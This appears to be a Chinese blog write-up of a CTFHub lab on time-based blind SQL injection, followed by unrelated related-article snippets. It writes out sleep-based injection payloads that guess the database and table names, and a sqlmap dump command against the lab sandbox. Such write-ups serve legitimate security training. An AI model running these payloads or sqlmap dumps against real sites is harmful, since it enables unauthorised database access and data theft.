CTFHUB技能树之SQL——时间盲注

embedded/2024/10/21 18:57:02/

开启靶场,打开链接:

说明这关对所有信息都做了统一输出,换成延时注入试试


输入:

1 and sleep(15)

(这里不知道为什么加上--+倒是会影响sleep()函数的触发,从而没有延时感)

可以观察到有明显的延时感,确定为时间盲注


(1)爆数据库

先判断数据库名的长度:

1 and if(length(database())=x,sleep(15),1)

(x是数值1,2,3,4,...)

1 and if(length(database())=4,sleep(15),1)

说明数据库名长度是4


接下来就是判断数据库的各个字符了:

第一个字符:

1 and if(ascii(substr(database(),1,1))>110,sleep(15),1)

1 and if(ascii(substr(database(),1,1))=x,sleep(15),1)

(x是数值1,2,3,4,...)

第二个字符:

1 and if(ascii(substr(database(),2,1))=x,sleep(15),1)

(x是数值1,2,3,4,...)

后续得出数值是(115,113,108,105),即数据库名是sqli


(2)爆表名

先判断表的数量:

1 and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(15),1)

又出现了延时感,说明有两个表


接下来就是判断各个表的各个字符了:

先是第一个表的第一个字符:

1 and if(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1)='n',sleep(15),1)

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=110,sleep(15),1)

妈的,不知道为什么这里运行失败,后续手工注入的流程直接看本分组的《Time-based基于时间的盲注》就行了,我要直接用sqlmap跟它爆了


python sqlmap.py -u "http://challenge-1f7b2258309fbd18.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

得到flag:

ctfhub{3a4d69bf9ae1fc6bbd2f7d69}


http://www.ppmy.cn/embedded/129335.html

相关文章

中级注册安全工程师《安全生产法律法规》真题及详解

2022年中级注册安全工程师《安全生产法律法规》真题及详解 一、单项选择题 (共70题,每题1分。每题的备选项中,只有1个最符合题意) 1. 法律的制定主体不同,其法律地位和法律效力也不同。关于法律地位和效力的说法&…

透过 Diffusion Transformer 探索生成式模型的技术演进

SiT: Exploring Flow and Diffusion-based Generative Models with Scalable Interpolant Transformers 一、前言 扩散模型为代表的生成式模型,以其深刻的还原论的哲学原理作为内在基础,辅以机器学习领域各类优秀的模型设计,在各个学术和应…

Flink系统架构和应用部署方式

目录 概述 Flink集群架构组件 Client JobManager TaskManagers 算子、Task和Subtask三者关系 概念 算子和Task的关系 Task和SubTask的关系 算子和SubTask的关系 样例 Task Slots和资源的关系 Flink应用程序部署 Flink Session 集群 Flink Job 集群 Flink Appli…

【已解决】Eclipse下载安装和环境配置 超详细教程 小白

首先确保安装了JDK 如果没安装可参考该博客安装:JDK安装、环境配置 官网下载 Eclipse Downloads | The Eclipse Foundation 1.点击download package下载 2.找到Eclipse IDE for Enterprise Java and Web Developers,根据自己的系统选择相应链接下载。…

Django发送短信

settings.py中设置 ##################################容联云短信平台账号信息############################## #容联云查看信息 RONGLIAN_ACC_ID ...... RONGLIAN_ACC_TOKEN ...... RONGLIAN_APP_ID ...... ############################################################…

QSpliter实例操作

话不多直接上代码 int main(int argc, char *argv[]) {QApplication a(argc, argv); // MainWindow w; // w.show();QFont font("PZ", 12);a.setFont(font);//左分割QSplitter* main_spliter new QSplitter(Qt::Horizontal, 0);QTextEdit* left_edit new QT…

Docker 构建 Miniconda3 Python 运行环境实战指南

Docker 构建 Miniconda3 Python 运行环境实战指南 文章目录 Docker 构建 Miniconda3 Python 运行环境实战指南一 准备 environment.yml二 获取项目 pip 信息三 Dockerfile 编写四 构建多平台镜像1 准备组件2 构建镜像3 导出镜像4 导入镜像 五 注意事项 本文详细介绍了如何通过 …

mysql 备份与恢复

目录 一、备份分类与方法 1.1 备份类型 1.2 备份策略 1.3 备份工具 二、完全备份与恢复 2.1 物理冷备 2.2 mysqldump逻辑热 备 (1)完全备份一个或多个完整的库(包括其中所有的表) (2)完全备份 My…